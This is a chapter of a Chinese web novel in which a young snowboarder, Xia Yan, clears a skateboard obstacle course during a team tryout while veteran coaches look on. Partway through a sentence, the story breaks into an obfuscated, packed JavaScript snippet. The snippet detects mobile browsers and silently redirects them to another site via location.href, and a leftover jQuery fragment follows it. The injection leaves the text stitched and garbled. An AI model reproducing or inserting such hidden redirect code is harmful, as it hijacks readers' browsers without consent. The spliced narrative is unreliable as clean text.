闻阚回到操作台前,正准备继续之前的工作,眼神却突然凝固到桌角。
他向来养成了很好的习惯,桌面上的东西都有自己固定的位置,因此多了少了什么都能一眼发现。
桌角上是一张雪白便签纸,上面的笔画稍稍仓促。
“拿了你一块滑板^^。”
这字迹,闻阚猛然放下了手上的锉刀。
把便签揭下来一看,果不其然,下面眉飞色舞地落款着X.Y两个字母简写。
年轻男生的眉眼再不复之前赶采访记者走时的凌厉,他小心地把这张脆弱的纸收进抽屉里。
不过拉抽屉的动作正进行到一半,他却猛然僵住了。
无数堆叠的ddl.近在眼前,皮毛光滑的雪橇狗却始终忍耐不住内心的那股躁动。
唯有望着旁边板架上那只姿态有些奇异的飞鸟出了神,才能压制住想立马冲过去的冲动。
她——是什么时候来的,又听到了多少,会不会已经——知道了?
......
夏宴什么都没有听到。
发现阿阚这里有客人之后,她熟门熟路地翻到了滑板,留下了便签,就从后门遛回训练场了。
覃辛安排的这次训练还颇有难度,她现在连最基础的box都跳不好,更是需要抓紧一切时间练习。
尽管夏宴知道自己比起这些小队员们可能更有优势,但她从来不会因此沾沾自喜。
多年的野雪经历早就教会了她这一点,不管对这条线路有多熟悉,都不能抱着傲慢态度去滑,否则大山一定会给你留下足够深刻的教训。
于是这几天,但凡有人来到训练场上,都能看到那道身影。
第一天,夏宴不是卡壳在向下冲的滑道上,就是摔倒在那50cm箱子旁的软垫上,很少有潇洒点的姿势。
第二天,大多数小队员都换到了第二个道具,有些有滑板的基础的队员,甚至已经可以勉强通过那条难度较高的细杆,但夏宴依旧停留在矮墩墩的箱子面前。
一起训练的队友注意到了她,还在想一直表现优异的夏宴是不是在第一个道具前练什么大招。
但直到太阳落山,她依旧是做着那几个重复的动作,不过是四仰八叉摔在软垫上的次数少了一点罢了。
许多人不禁相信了队员间流传的,这位宴姐,不过是进入雪圈比他们时间更久,基础更好,前面在跳台上的表现才会那么好。
而现在大家站在同一起跑线上,她还有身高太高重心不稳的劣势,表现不一定能胜过他们这些没到发育关的小队员。
到了第三天,除了和夏宴交流较多的刘金妹妹还有乐轶,偶尔会过来找她聊天,那些观察她许久的小队员都再没把目光放在这边。
他们中的大多数都挤去了第三个细杆道具——最靠近山头的总教练,偶尔偷偷抬头看看一直拿着笔记本不停记录的覃辛,又排着长长的队继续练习。
直到最终训练截止时间前的一小时,他们突然想起来那位被他们冷落已久的同期,四处寻觅后,突然发现,最高的出发台前竟然站上了那道熟悉的身影。
是夏宴!她怎么站在那儿!
他们从来没敢到最高的出发台上去过,一是滑这三个小道具尚还不需要那么快的加速度,二是他们自认没有百分之百的把握在这么高的坡道上控制住滑板。
如果一旦有哪一次失败,总教练可一直在山头上看着的,留下什么坏印象,那这关铁定过不了。
正想着,纤细又高挑的身影就踩着滑板,从没有人上去过的滑道上疾驰而下,眨眼间,就到达了那块消磨了她两天多时间的box面前。
夏宴在橡胶轮碾压到那个已经十分暗淡的白色粉笔圈同时,调整好脚位,轻轻一踩板尾,这滑板竟然就丝滑地跃动出一道波浪线。
她稳稳地站上了箱子,几乎没有怎么屈膝和移动,就姿态优美地从另一端回到了平地上。
所有人都瞪圆了眼睛,一直很担忧夏宴的刘金却终于松了口气,她就知道,她宴姐身上那些青青紫紫的摔伤可不是白受的。
不过,考核用的这三个道具旁可都是铺满了软垫的,正常滑,哪怕是摔了,也不应该摔这么狠啊。
想到这儿,刘金稍稍有些疑惑,不过此刻正是宴姐的重要时刻,这个念头只在她心里出现了一瞬就被其他情绪冲掉了。
这会儿自认为已经训练得还不错的小队员们,都暂时停下了脚上的活,侧过头看向夏宴。
他们训练时只看到她练习了第一个道具,刚刚跳箱子是跳得很漂亮,不过这会儿怎么直冲第二个道具来了。
在场的人都瞪大了眼睛。
圆滚滚且半埋在砂石地里的桶已经近在咫尺,夏宴却丝毫不刹车。
刘金几乎已经惊叫出声,这种速度要是磕在铁桶上,门牙估计都得掉完。
但惊呼还未出口,就被她硬生生咽下了。
夏宴的双手还是背在身后,双脚前后站立,但肌肉却颇为松弛。
“啪”地一个打板,年轻女人改踩了板头,整个人180度旋转,完全调换了一个方向,“唰”的一声,就流畅地经过了圆桶。
“Frontside180!”
有滑板基础的那个队员难以置信地喊出了这个动作的名字,“怎么可能,怎么可能......,她才学最多三天滑板,怎么可能就会跳前转了......”
但此时却没人能够回应他,所有人的目光都聚集在了年轻女人身上。
转眼夏宴已经来到了第三个道具——细铁杆面前。
不过这会儿就没人去想一些有的没的了,所有人都聚精会神地看着她的下一跳。
至少有一半以上的小队员没有拿下最后一个道具,但刚刚夏宴的前转180,却让他们默认了她有挑战细铁杆的资格。
夏宴终于稍稍蹲下了她的身体,但两只手却依然放松地背在身后,如同一只捕猎的野兽,紧紧盯着越来越近的铁杆。
发力、蹬板、起跳。
滑板板底触碰到铁杆上时,由于较小的接触面积,双方都不情不愿地磨合出一道火花。
但很快,随着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15132833|163961||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“嗞”地一声,铁杆竟刚刚好卡在了四个轮子中间,小幅度摇晃了一下,夏宴平稳度过。
欢呼和掌声雷鸣般爆发,有小队员趁这个机会偷偷去看覃教的表情,却发现中年男人脸上全是思索。
且这会儿,竟然不止是覃教一个人站在道具池的最高处,身边还有好几个教练,有几个竟然从来没有见到过。
夏宴猛然一踩滑板,强行刹住了还在向前猛冲的板头,让整块板横翘起来。
随着板身的旋转,她的目光瞬间扫过全场,最后在触及到覃辛的目光的同时,心不甘情不愿地停了下来。
要不是昨晚练习的时候被老头逮个正着被警告,问她是不是皮又痒了,腿才好几天啊又去折腾,她才不会滑完这三个道具就停下来。
刑见山看着下方那位还比较陌生的滑手野心勃勃的目光,不禁笑了出来。
他才带女队队员出去外训回来,听说长白山这边在搞下个月京城那边交流赛的选拔,就临时改变行程,准备凑一凑这个热闹。
“这就是你关门弟子啊,这下总算是见到了。”
覃辛没好气地斜了自己老伙计一眼,没半分客气:“我当年给你那U池里面留了多少好苗子,还不满足,少来盘算我家这个。”
刑见山摇摇头:“你这个和现在队里的这些都不一样,一看就是个刺头,我是不敢打这个算盘的。”
两个教练相视一笑,一切都在不言中。
和刑见山都合作那么多年了,这么多年再次见面,覃辛还是多少有点感慨。
十几年前自己走的时候,和他同为单板滑雪小项的主教练。
不过当年刑见山带的是竞速那边的障碍追逐,自己则是竞技这边的U池。
但由于后面有坡面障碍这些全新的项目加入奥运赛事,而华国在这些小项上则全无根基,自己就把U池这种已经小有发展的项目丢给了刑见山,主动离开雪队,去其他国家学习去了。
这下重回雪队,升任总教练,还压上了大跳台项目可能入奥的重担,覃辛心里这跟弦一直是绷紧的,不过现在看到自己老伙计后,突然就觉得浑身充满干劲起来。
中年男子低头下望,正好对上自己徒弟满眼的挑衅,这会儿却是和刚从完全不一样的心境了,既然当徒弟的都不怕,自己又何必畏手畏脚。
覃辛在所有人惊讶地目光中,转头抓起了喇叭。
“你想跳就跳,别这么盯着我。”
一言既出,全场皆惊。
覃教这是在对夏宴说吗?想跳就跳是什么意思?这三个道具不都跳完了吗?
道具池里的小队员们脑袋已经再接二连三的冲击下变成了一团浆糊。
......
夏宴真的很难理解现在这些老头的脑回路。
刚刚兴致正高的时候用眼神警告她不准跳,这会儿自己都停下来了又说想跳就跳。
这是在干嘛?
不过她明知道这是老头的激将法,也完全没忍住。
这都挑衅到眼前了怎么还能忍住,再忍她就不是夏宴了。